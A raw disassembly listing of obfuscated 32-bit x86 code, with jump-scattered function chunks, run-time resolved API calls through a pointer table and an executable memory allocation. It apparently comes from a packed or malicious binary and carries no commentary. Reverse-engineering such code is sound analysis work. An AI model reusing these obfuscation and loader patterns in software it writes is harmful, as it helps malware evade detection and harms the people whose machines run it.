; START	OF FUNCTION CHUNK FOR sub_9B5904


loc_9AB198:				; CODE XREF: sub_9B5904-3342j
					; sub_9B5904-E54j
		inc	ecx
		jmp	loc_9B47F0
; END OF FUNCTION CHUNK	FOR sub_9B5904
; ---------------------------------------------------------------------------
		mov	edi, edi

; =============== S U B	R O U T	I N E =======================================



sub_9AB1A0	proc near		; CODE XREF: sub_9B1A08-134Ep
					; sub_9B1F68+7F8p

; FUNCTION CHUNK AT 009AADB8 SIZE 0000002B BYTES
; FUNCTION CHUNK AT 009AAE28 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 009AAFF0 SIZE 00000033 BYTES
; FUNCTION CHUNK AT 009ABD24 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 009AC030 SIZE 0000001C BYTES
; FUNCTION CHUNK AT 009ACC88 SIZE 0000002A BYTES
; FUNCTION CHUNK AT 009ACCB4 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 009ACD50 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 009ACF74 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 009AD304 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 009ADC08 SIZE 0000001B BYTES
; FUNCTION CHUNK AT 009ADCB0 SIZE 0000002B BYTES
; FUNCTION CHUNK AT 009ADFDC SIZE 00000013 BYTES
; FUNCTION CHUNK AT 009AE134 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 009AE758 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 009AEA48 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 009AEB54 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 009AF858 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 009AFE6F SIZE 00000012 BYTES
; FUNCTION CHUNK AT 009B015C SIZE 00000013 BYTES
; FUNCTION CHUNK AT 009B04E8 SIZE 00000046 BYTES
; FUNCTION CHUNK AT 009B0534 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 009B0720 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 009B1038 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 009B11EB SIZE 0000002D BYTES
; FUNCTION CHUNK AT 009B143C SIZE 00000011 BYTES
; FUNCTION CHUNK AT 009B2248 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 009B290C SIZE 0000001B BYTES
; FUNCTION CHUNK AT 009B4A50 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 009B4AFC SIZE 00000014 BYTES
; FUNCTION CHUNK AT 009B4D58 SIZE 00000025 BYTES
; FUNCTION CHUNK AT 009B5894 SIZE 00000050 BYTES
; FUNCTION CHUNK AT 009B5B2C SIZE 00000059 BYTES
; FUNCTION CHUNK AT 009B5B88 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 009B5B90 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 009B5C48 SIZE 00000035 BYTES
; FUNCTION CHUNK AT 009B5F54 SIZE 00000017 BYTES

		push	ebp
		push	esp
		pop	ebp
		push	0FFFFFFFFh
		push	off_9B8FD0
		push	off_9B8CBD
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 2Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp-18h], esp
		xor	eax, eax
		cmp	ecx, 6
		setnz	al
		mov	edi, eax
		mov	eax, [ebp+14h]
		mov	ecx, dword_9BCB74
		and	eax, eax
		push	dword ptr [ecx]
		pop	edx
		jz	loc_9B5C48
		jmp	off_9B9F48
sub_9AB1A0	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_9B3408


loc_9AB1EC:				; CODE XREF: sub_9B3408+8Ej
		mov	[ebp-124h], esi
		jmp	loc_9AB749
; END OF FUNCTION CHUNK	FOR sub_9B3408
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B0930


loc_9AB1F8:				; CODE XREF: sub_9B0930-4D78j
		push	off_9B9F20
		push	dword ptr [eax]
		pop	ecx
		push	ecx
		call	esi
		mov	edx, dword_9BCB74
		push	dword ptr [edx]
		pop	ecx
		mov	[ecx+98h], eax
		mov	eax, dword_9BCB74
		push	dword ptr [eax]
		pop	edx
		push	dword ptr [edx+98h]
		pop	ecx
		or	ecx, ecx
		jz	loc_9B23EF
		jmp	loc_9B1714
; END OF FUNCTION CHUNK	FOR sub_9B0930
; ---------------------------------------------------------------------------
		align 10h
; START	OF FUNCTION CHUNK FOR sub_9B0930


loc_9AB230:				; CODE XREF: sub_9B0930-558Cj
		push	off_9B8F89
		mov	eax, [eax]
		push	eax
		call	esi
		mov	ecx, dword_9BCB74
		mov	edx, [ecx+8]
		mov	[edx+8], eax
		push	dword_9BCB74
		pop	eax
		push	dword ptr [eax+8]
		pop	ecx
		push	dword ptr [ecx+8]
		pop	edx
		test	edx, edx
		jz	loc_9B23EF
		jmp	loc_9AEFC0
; END OF FUNCTION CHUNK	FOR sub_9B0930
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9AC250


loc_9AB264:				; CODE XREF: sub_9AC250+76F4j
					; DATA XREF: .text:off_9B8908o
		pop	edi
		pop	ebp
		pop	ebx
		retn	4
; END OF FUNCTION CHUNK	FOR sub_9AC250
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B3FF8


loc_9AB26C:				; CODE XREF: sub_9B3FF8-5B9Dj
		push	[ebp+var_20]
		pop	eax
		and	edi, 0FFFF7FFFh
		sub	ecx, ecx
		mov	[ebp+var_1C], eax
		mov	[esi+8], di
		mov	[esi], ecx
		mov	[esi+4], ecx
		jmp	loc_9AF9C3
; END OF FUNCTION CHUNK	FOR sub_9B3FF8
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B0734


loc_9AB28C:				; CODE XREF: sub_9B0734+3B15j
					; DATA XREF: .text:off_9B8DE3o
		push	dword_9BCB74
		pop	edx
		push	dword ptr [edx+10h]
		pop	eax
		push	1
		pop	esi
		call	dword ptr [eax+4Ch]
		cmp	eax, 2738h
		jz	loc_9B2674
		jmp	loc_9ACD64
; END OF FUNCTION CHUNK	FOR sub_9B0734
; ---------------------------------------------------------------------------
		align 10h
; START	OF FUNCTION CHUNK FOR sub_9B1F68


loc_9AB2B0:				; CODE XREF: sub_9B1F68-4167j
					; DATA XREF: .text:off_9BA7C5o
		push	dword ptr [eax+ebp-24Ch]
		pop	ecx
		test	ecx, ecx
		jnz	loc_9B1480
		jmp	loc_9B403C
; END OF FUNCTION CHUNK	FOR sub_9B1F68
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B63D8


loc_9AB2C8:				; CODE XREF: sub_9B63D8-6A7Fj
		cmp	eax, 0FFFFFFFFh
		jz	loc_9AE7BE
		jmp	loc_9AE7B0
; END OF FUNCTION CHUNK	FOR sub_9B63D8
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9AC250


loc_9AB2D8:				; CODE XREF: sub_9AC250+7453j
					; DATA XREF: .text:off_9BA7CDo
		cmp	edi, ebx
		jz	loc_9AC264
		jmp	loc_9B5368
; END OF FUNCTION CHUNK	FOR sub_9AC250
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B4950


loc_9AB2E8:				; CODE XREF: sub_9B4950-1FF2j
		mov	edx, dword_9BCB74
		mov	eax, [edx]
		push	off_9BAD92
		call	dword ptr [eax+1Ch]
		jmp	loc_9B49DE
; END OF FUNCTION CHUNK	FOR sub_9B4950
; ---------------------------------------------------------------------------
		align 10h
; START	OF FUNCTION CHUNK FOR sub_9B3EFC


loc_9AB300:				; CODE XREF: sub_9B3EFC-3C04j
					; DATA XREF: .text:off_9BA4D9o
		and	eax, 0FFFFFFh
		cmp	eax, 0C0h
		jz	loc_9AD6E0
		jmp	loc_9AEA5C
; END OF FUNCTION CHUNK	FOR sub_9B3EFC
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B082C


loc_9AB318:				; CODE XREF: sub_9B082C+Bj
		push	dword_9B994C
		pop	edx
		mov	[edi], edx
		mov	ax, word_9B9950
		mov	[edi+4], ax
; END OF FUNCTION CHUNK	FOR sub_9B082C
; START	OF FUNCTION CHUNK FOR sub_9B27D8


loc_9AB32B:				; CODE XREF: sub_9B27D8-5116j
		mov	ecx, dword_9BCB74
		mov	edx, [ecx]
		push	off_9B8ED2
		call	dword ptr [edx+18h]
		mov	eax, off_9B97DD
		call	sub_9AD7A4
		mov	esi, eax
		mov	eax, dword_9BCB74
		mov	ecx, [eax]
		push	off_9B8ED2
		call	dword ptr [ecx+1Ch]
		sub	edx, edx
		push	esi
		pop	eax
		mov	ecx, 3
		div	ecx
		and	edx, edx
		jnz	loc_9AF59C
		jmp	off_9BAC25
; END OF FUNCTION CHUNK	FOR sub_9B27D8
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B0930


loc_9AB374:				; CODE XREF: sub_9B0930+51E8j
		push	off_9B9FAA
		mov	eax, [eax+8]
		mov	ecx, [eax]
		push	ecx
		call	esi
		push	dword_9BCB74
		pop	edx
		mov	ecx, [edx+8]
		mov	[ecx+4], eax
		mov	edx, dword_9BCB74
		push	dword ptr [edx+8]
		pop	eax
		mov	ecx, [eax+4]
		and	ecx, ecx
		jz	loc_9B23EF
		jmp	loc_9AB230
; END OF FUNCTION CHUNK	FOR sub_9B0930
; ---------------------------------------------------------------------------
		align 4
		push	1
		pop	eax
		retn

; =============== S U B	R O U T	I N E =======================================



sub_9AB3B0	proc near		; CODE XREF: sub_9B63D8-150Ap

; FUNCTION CHUNK AT 009AB834 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 009B24E0 SIZE 00000075 BYTES
; FUNCTION CHUNK AT 009B3C08 SIZE 00000021 BYTES

		push	esi
		push	edi
		mov	esi, off_9B89EF
		push	ebx
		pop	edi
		push	7
		pop	ecx
		rep movsd
		movsw
		movsb
		push	dword_9BCB74
		pop	eax
		mov	ecx, [eax]
		push	off_9B8ED2
		call	dword ptr [ecx+18h]
		push	off_9B97DD
		pop	eax
		call	sub_9AD7A4
		mov	edx, dword_9BCB74
		mov	esi, eax
		push	dword ptr [edx]
		pop	eax
		push	off_9B8ED2
		call	dword ptr [eax+1Ch]
		push	esi
		pop	eax
		xor	edx, edx
		mov	ecx, 5
		div	ecx
		mov	edx, off_9B9A70[edx*4]
		push	edx
		pop	eax


loc_9AB408:				; CODE XREF: sub_9AB3B0+5Dj
		mov	cl, [edx]
		inc	edx
		or	cl, cl
		jnz	short loc_9AB408
		jmp	loc_9AB834
sub_9AB3B0	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_9ADAC4


loc_9AB414:				; CODE XREF: sub_9ADAC4+57B1j
					; DATA XREF: .text:off_9B8CB5o
		push	esi
		sub	eax, eax
		push	dword ptr [ebp-50h]
		pop	edx
		lea	esi, [ebp-3Ch]
		call	sub_9B1334
		mov	edx, dword_9BCB74
		push	dword ptr [edx+10h]
		pop	eax
		push	10h
		mov	ecx, esi
		push	ecx
		push	ebx
		call	dword ptr [eax+18h]
		and	eax, eax
		jnz	loc_9ADCDC
		jmp	off_9BA637
; END OF FUNCTION CHUNK	FOR sub_9ADAC4
; ---------------------------------------------------------------------------
		mov	esp, [ebp-18h]
; START	OF FUNCTION CHUNK FOR sub_9B4610


loc_9AB447:				; CODE XREF: sub_9B4610+4Aj
		mov	[ebp+var_4], 0FFFFFFFFh
		mov	edx, dword_9BCB74
		mov	eax, [edx]
		push	off_9BA623
		call	dword ptr [eax+1Ch]
		push	[ebp+var_10]
		pop	ecx
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
; END OF FUNCTION CHUNK	FOR sub_9B4610
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9AF25C


loc_9AB474:				; CODE XREF: sub_9AF25C+33CEj
					; DATA XREF: .text:off_9B9598o
		push	edi
		pop	edx
		call	sub_9AF654
		test	eax, eax
		jnz	loc_9B3F5C
		jmp	loc_9AB9C8
; END OF FUNCTION CHUNK	FOR sub_9AF25C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_9AC32C


loc_9AB488:				; CODE XREF: sub_9AC32C-857j
		mov	[esp+324h+var_100], ecx
		mov	[esp+324h+var_104], edx


loc_9AB496:				; CODE XREF: sub_9AC32C-85Dj
		push	[esp+324h+arg_4]
		pop	eax
		mov	ecx, dword_9BCB74
		sub	edi, edi
		mov	[esp+324h+var_314], eax
		mov	[esp+324h+var_310], edi
		push	dword ptr [ecx+10h]
		pop	edx
		lea	eax, [esp+324h+var_314]
		push	eax
		mov	ecx, ebx
		neg	ecx
		sbb	ecx, ecx
		lea	eax, [esp+328h+var_104]
		and	ecx, eax
		push	ecx
		push	ebp
		pop	ecx
		neg	ecx
		sbb	ecx, ecx
		lea	eax, [esp+32Ch+var_208]
		and	ecx, eax
		push	ecx
		push	esi
		pop	ecx
		neg	ecx
		lea	eax, [esp+330h+var_30C]
		sbb	ecx, ecx
		and	ecx, eax
		push	ecx
		jmp	loc_9B61AC
; END OF FUNCTION CHUNK	FOR sub_9AC32C
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9ADCEC


loc_9AB4EC:				; CODE XREF: sub_9ADCEC+5Bj
		and	eax, eax
		jnz	loc_9ACE2C
		jmp	off_9B8A0E
; END OF FUNCTION CHUNK	FOR sub_9ADCEC
; ---------------------------------------------------------------------------
		align 4
		push	dword_9BCB74
		pop	eax
		push	dword ptr [eax]
		pop	ecx
		call	dword ptr [ecx+84h]
		and	eax, eax
		jns	loc_9AD4C0
		jmp	off_9BA0D4
; ---------------------------------------------------------------------------
		align 4
		mov	esp, [ebp-18h]
; START	OF FUNCTION CHUNK FOR sub_9ABA3C


loc_9AB51F:				; CODE XREF: sub_9ABA3C+486Dj
		mov	dword ptr [ebp-4], 0FFFFFFFFh
		push	dword ptr [ebp-124h]
		pop	eax
		mov	ecx, [ebp-10h]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		mov	ecx, [ebp-1Ch]
		xor	ecx, ebp
		call	sub_9AAAC1
		mov	esp, ebp
		pop	ebp
		retn
; END OF FUNCTION CHUNK	FOR sub_9ABA3C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_9B2F1C


loc_9AB548:				; CODE XREF: sub_9B2F1C-7399j
		mov	ecx, [ebp+0Ch]
		mov	dword ptr [ecx], 0
		jmp	loc_9B528F
; END OF FUNCTION CHUNK	FOR sub_9B2F1C
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B63D8


loc_9AB558:				; CODE XREF: sub_9B63D8-AE10j
					; DATA XREF: .text:off_9B8910o
		call	sub_9B45AC
		xor	edx, edx
		push	0Ah
		pop	ecx
		div	ecx
		and	edx, edx
		jz	loc_9B4EC8
		jmp	off_9BA364
; END OF FUNCTION CHUNK	FOR sub_9B63D8
; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_9AB574	proc near		; CODE XREF: sub_9ADCEC-2472p
					; sub_9B1F68-51CEp ...
		mov	eax, dword_9BCB74
		push	dword ptr [eax]
		pop	ecx
		push	esi
		push	off_9BAA6D
		call	dword ptr [ecx+18h]
		mov	edx, dword_9BCB74
		mov	eax, [edx]
		push	dword_9BBD24
		pop	esi
		push	off_9BAA6D
		call	dword ptr [eax+1Ch]
		mov	eax, esi
		pop	esi
		retn
sub_9AB574	endp

; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B63D8


loc_9AB5A4:				; CODE XREF: sub_9B63D8-F0Fj
					; DATA XREF: .text:off_9BA98Eo
		mov	ecx, dword_9BCB74
		mov	edx, [ecx]
		call	dword ptr [edx+30h]
		mov	[ebp-214Ch], eax
		push	0Ah
		push	50h
		push	ebx
		call	sub_9AD11C
		cmp	eax, 4
		jnz	loc_9AF944
		jmp	off_9B8910
; END OF FUNCTION CHUNK	FOR sub_9B63D8
; ---------------------------------------------------------------------------
		align 10h
; START	OF FUNCTION CHUNK FOR sub_9B63D8


loc_9AB5D0:				; CODE XREF: sub_9B63D8-76C4j
		jmp	loc_9AF94B
; END OF FUNCTION CHUNK	FOR sub_9B63D8
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B0930


loc_9AB5D8:				; CODE XREF: sub_9B0930+E16j
		push	off_9BABB0
		push	dword ptr [eax]
		pop	eax
		push	eax
		call	esi
		mov	ecx, dword_9BCB74
		push	dword ptr [ecx+0Ch]
		pop	edx
		mov	[edx+8], eax
		push	dword_9BCB74
		pop	eax
		mov	eax, [eax+0Ch]
		push	dword ptr [eax+8]
		pop	ecx
		test	ecx, ecx
		jz	loc_9B23EF
		jmp	off_9BA5E8
; END OF FUNCTION CHUNK	FOR sub_9B0930
; ---------------------------------------------------------------------------
		align 10h
; START	OF FUNCTION CHUNK FOR sub_9B63D8


loc_9AB610:				; CODE XREF: sub_9B63D8-161Aj
		mov	ebx, 0Ch


loc_9AB615:				; CODE XREF: sub_9B63D8-1D39j
		mov	[ebp-212Ch], ebx
		push	dword ptr [ebp-2124h]
		pop	ecx
		add	ecx, 0FFFFFFD9h
		cmp	ebx, ecx
		jg	loc_9B41A4
		jmp	loc_9AE818
; END OF FUNCTION CHUNK	FOR sub_9B63D8
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B2E04


loc_9AB634:				; CODE XREF: sub_9B2E04-6BFj
		mov	edx, dword_9BCB74
		push	dword ptr [edx+10h]
		pop	eax
		push	edi
		call	dword ptr [eax+38h]
		jmp	loc_9AC13B
; END OF FUNCTION CHUNK	FOR sub_9B2E04
; ---------------------------------------------------------------------------
		align 4
		mov	eax, 1
		retn
; ---------------------------------------------------------------------------
		align 10h
; START	OF FUNCTION CHUNK FOR sub_9B174C


loc_9AB650:				; CODE XREF: sub_9B174C+D79j
		push	eax
		pop	ecx
		dec	ecx
		mov	dword_9BBD30, ecx
		push	4
		mov	ecx, 4
		mov	edx, off_9B8DBE
		call	sub_9B1B20


loc_9AB66B:				; CODE XREF: sub_9B174C+D73j
		mov	edx, dword_9BCB74
		mov	eax, [edx]
		push	off_9BA97F
		call	dword ptr [eax+1Ch]
		jmp	loc_9B166F
; END OF FUNCTION CHUNK	FOR sub_9B174C
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B1D80


loc_9AB684:				; CODE XREF: sub_9B1D80+1ECCj
		push	0C01h
		pop	ecx
		div	ecx
		add	edx, 400h
		jmp	loc_9AC772
; END OF FUNCTION CHUNK	FOR sub_9B1D80
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B1A08


loc_9AB698:				; CODE XREF: sub_9B1A08+3258j
					; DATA XREF: .text:off_9B8DA6o
		lea	eax, [esi+esi*4]
		push	[ebp+eax*8+var_41BC]
		pop	eax
		or	eax, eax
		jz	loc_9AB8B5
		jmp	off_9BAFBB
; END OF FUNCTION CHUNK	FOR sub_9B1A08
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B5100


loc_9AB6B4:				; CODE XREF: sub_9B5100+1Dj
		push	[esp+8+arg_0]
		pop	eax
		mov	edi, [esp+8+arg_4]
		push	eax
		call	sub_9AC6A0
		add	esp, 4
		pop	edi
		pop	esi
		retn
; END OF FUNCTION CHUNK	FOR sub_9B5100
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9ACEE8


loc_9AB6CC:				; CODE XREF: sub_9ACEE8-3E6j
		inc	ebx
		mov	[ebp-0B4h], ebx
		cmp	ebx, 3
		jle	loc_9ACF55
		jmp	off_9BAB01
; END OF FUNCTION CHUNK	FOR sub_9ACEE8
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B1F68


loc_9AB6E4:				; CODE XREF: sub_9B1F68+28F3j
		push	eax
		xor	edx, edx
		call	sub_9AD590
		test	eax, eax
		jz	loc_9AFB74
		jmp	loc_9B64E4
; END OF FUNCTION CHUNK	FOR sub_9B1F68
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B63D8


loc_9AB6FC:				; CODE XREF: sub_9B63D8-7183j
		mov	dword ptr [ebp-2134h], 1
		jmp	loc_9AF94B
; END OF FUNCTION CHUNK	FOR sub_9B63D8
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9AEC20


loc_9AB70C:				; CODE XREF: sub_9AEC20-233Bj
		mov	dword_9BBD2C, edi


loc_9AB712:				; CODE XREF: sub_9AEC20-2341j
		push	4
		mov	ecx, 4
		mov	edx, off_9B8DBE
		call	sub_9B4480
		test	eax, eax
		jnz	loc_9AE5B7
		jmp	off_9B92F4
; END OF FUNCTION CHUNK	FOR sub_9AEC20
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B3408


loc_9AB734:				; CODE XREF: sub_9B3408-627Ej
					; DATA XREF: .text:off_9BA164o
		mov	eax, [esi+48h]
		call	sub_9AC448
		mov	[esi+48h], ebx
		mov	dword ptr [ebp-134h], 1


loc_9AB749:				; CODE XREF: sub_9B3408-8216j
					; sub_9B3408-7676j ...
		push	dword ptr [ebp-124h]
		pop	eax
		or	eax, eax
		jz	loc_9B3761
		jmp	off_9B9713
; END OF FUNCTION CHUNK	FOR sub_9B3408
; ---------------------------------------------------------------------------
		align 10h
		mov	eax, 1
		retn
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9ACD20


loc_9AB768:				; CODE XREF: sub_9ACD20+1Cj
					; DATA XREF: .text:off_9BAC75o
		pop	ecx
		retn
; END OF FUNCTION CHUNK	FOR sub_9ACD20
; ---------------------------------------------------------------------------
		align 4
		mov	eax, 1
		retn
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9AFC28


loc_9AB774:				; CODE XREF: sub_9AFC28+4Aj
					; DATA XREF: .text:off_9BA3D0o
		lea	eax, [esi+0FFFh]
		and	eax, 0FFFFF000h
		mov	[ebx+4], eax
		push	dword_9BCB74
		pop	ecx
		mov	edx, [ecx]
		push	40h
		push	3000h
		push	eax
		push	0
		call	dword ptr [edx+10h]
		push	eax
		pop	edi
		mov	[ebx], edi
		test	edi, edi
		jz	loc_9ADF17
		jmp	off_9BAAA1
; END OF FUNCTION CHUNK	FOR sub_9AFC28
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B2830


loc_9AB7AC:				; CODE XREF: sub_9B2830+4Dj
		cmp	esi, 1FFCh
		ja	loc_9AD190
		jmp	loc_9B2680
; END OF FUNCTION CHUNK	FOR sub_9B2830
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_9AB7C0	proc near		; CODE XREF: sub_9B1A08-381Bp

; FUNCTION CHUNK AT 009AFD43 SIZE 00000025 BYTES

		push	ebp
		push	esp
		pop	ebp
		push	0FFFFFFFFh
		push	off_9BAAD8
		push	off_9B8CBD
		push	large dword ptr	fs:0
		pop	eax
		push	eax
		mov	eax, 403Ch
		mov	large fs:0, esp
		sub	esp, 8
		call	__alloca_probe
		mov	eax, dword_9B8788
		xor	eax, ebp
		mov	[ebp-1Ch], eax
		push	ebx
		push	esi
		push	edi
		mov	edi, edx
		mov	esi, ecx
		mov	[ebp-18h], esp
		mov	[ebp-4050h], edi
		mov	dword ptr [ebp-4], 0
		push	dword ptr [edi+4]
		pop	ebx
		push	ebx
		call	sub_9B3EFC
		add	esp, 4
		and	eax, eax
		jz	loc_9AFD43
		jmp	sub_9B04A8
sub_9AB7C0	endp

; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9AF698


loc_9AB82C:				; CODE XREF: sub_9AF698+1Bj
		jmp	sub_9AD01C
; END OF FUNCTION CHUNK	FOR sub_9AF698
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9AB3B0


loc_9AB834:				; CODE XREF: sub_9AB3B0+5Fj
		mov	edi, ebx
		sub	edx, eax
		dec	edi


loc_9AB839:				; CODE XREF: sub_9AB3B0+48Fj
		mov	cl, [edi+1]
		inc	edi
		test	cl, cl
		jnz	short loc_9AB839
		jmp	loc_9B3C08
; END OF FUNCTION CHUNK	FOR sub_9AB3B0
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B3150


loc_9AB848:				; CODE XREF: sub_9B3150+3Cj
		mov	esi, [ebx+44h]
		cmp	esi, eax
		jz	loc_9AEFA3
		jmp	loc_9AEB78
; END OF FUNCTION CHUNK	FOR sub_9B3150
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_9B5480


loc_9AB858:				; CODE XREF: sub_9B5480-7B94j
					; DATA XREF: .text:off_9B8900o
		call	sub_9AC448


loc_9AB85D:				; CODE XREF: sub_9B5480-7B9Aj
		mov	eax, [esi]
		call	sub_9AC448
		mov	dword ptr [esi], 0
		jmp	loc_9B335B
; END OF FUNCTION CHUNK	FOR sub_9B5480
; ---------------------------------------------------------------------------
		align 10h
; START	OF FUNCTION CHUNK FOR sub_9ADCEC


loc_9AB870:				; CODE XREF: sub_9ADCEC-EA0j
					; DATA XREF: .text:off_9BA425o
		push	0FFFFh
		pop	eax


loc_9AB876:				; CODE XREF: sub_9ADCEC-EA6j
		mov	[ebx+16h], ax
		call	sub_9AB574
		mov	[ebx+18h], ax
		push	0CBDBDBABh
		push	0CBDBEDEFh
		push	ebx
		push	1Ah
		pop	eax
		call	sub_9B6370
		jmp	loc_9AE3D3
; END OF FUNCTION CHUNK	FOR sub_9ADCEC
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B3984


loc_9AB89C:				; CODE XREF: sub_9B3984-7BBDj
					; sub_9B3984-7B5Fj ...
		mov	edx, dword_9BCB74
		push	dword ptr [edx+10h]
		pop	eax
		push	ebx
		call	dword ptr [eax+38h]
		jmp	loc_9AFB83
; END OF FUNCTION CHUNK	FOR sub_9B3984
; ---------------------------------------------------------------------------
		align 10h
; START	OF FUNCTION CHUNK FOR sub_9B1A08


loc_9AB8B0:				; CODE XREF: sub_9B1A08-635Dj
					; DATA XREF: .text:off_9BAFBBo
		call	sub_9AC448


loc_9AB8B5:				; CODE XREF: sub_9B1A08-6363j
		inc	esi
		mov	[ebp+var_41E8],	esi
		jmp	loc_9B4C58
; END OF FUNCTION CHUNK	FOR sub_9B1A08
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B4FD0


loc_9AB8C4:				; CODE XREF: sub_9B4FD0-847Ej
					; sub_9B4FD0-6243j ...
		inc	ecx
		jmp	loc_9AF186
; END OF FUNCTION CHUNK	FOR sub_9B4FD0
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9AF25C


loc_9AB8CC:				; CODE XREF: sub_9AF25C-33E0j
					; DATA XREF: .text:off_9BAAC0o
		call	sub_9AFF64


loc_9AB8D1:				; CODE XREF: sub_9AF25C-364Bj
					; sub_9AF25C+4Dj ...
		lea	ecx, [ebp+8]
		call	sub_9B5480
		jmp	loc_9B33DB
; END OF FUNCTION CHUNK	FOR sub_9AF25C
; ---------------------------------------------------------------------------
		align 10h
; START	OF FUNCTION CHUNK FOR sub_9ADAC4


loc_9AB8E0:				; CODE XREF: sub_9ADAC4+413Dj
					; DATA XREF: .text:off_9B93ABo
		mov	ecx, dword_9BCB74
		push	dword ptr [ecx+10h]
		pop	edx
		push	ebx
		call	dword ptr [edx+38h]


loc_9AB8EE:				; CODE XREF: sub_9ADAC4+4137j
					; sub_9ADAC4+73F6j
		sub	esi, esi


loc_9AB8F0:				; CODE XREF: sub_9ADAC4-1B0Aj
		mov	[ebp-40h], esi
		cmp	esi, 0Ah
		jge	loc_9AD4EB
		jmp	off_9B96EC
; END OF FUNCTION CHUNK	FOR sub_9ADAC4
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B161C


loc_9AB904:				; CODE XREF: sub_9B161C-4CCBj
		pop	esi
		pop	ebp
		mov	eax, 1
		pop	ebx
		retn	8
; END OF FUNCTION CHUNK	FOR sub_9B161C
; ---------------------------------------------------------------------------
		align 10h
; START	OF FUNCTION CHUNK FOR sub_9AD11C


loc_9AB910:				; CODE XREF: sub_9AD11C+3A2Bj
		mov	ecx, [esp+18h+arg_C]
		push	ecx
		push	esi
		mov	eax, 30h
		call	sub_9AC32C
		test	al, 3
		jnz	loc_9AFA56
		jmp	off_9BAD27
; END OF FUNCTION CHUNK	FOR sub_9AD11C
; ---------------------------------------------------------------------------
		align 10h
; START	OF FUNCTION CHUNK FOR sub_9ACEE8


loc_9AB930:				; CODE XREF: sub_9ACEE8+3027j
					; DATA XREF: .text:off_9BAEF5o
		inc	ecx
		mov	[ebp-0DCh], ecx


loc_9AB937:				; CODE XREF: sub_9ACEE8-856j
		and	ecx, ecx
		jnz	loc_9AF40A
		jmp	loc_9AF3F8
; END OF FUNCTION CHUNK	FOR sub_9ACEE8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_9B611C


loc_9AB944:				; CODE XREF: sub_9B611C+Bj
		mov	ax, word_9B93B4
		mov	[edi], ax
; END OF FUNCTION CHUNK	FOR sub_9B611C
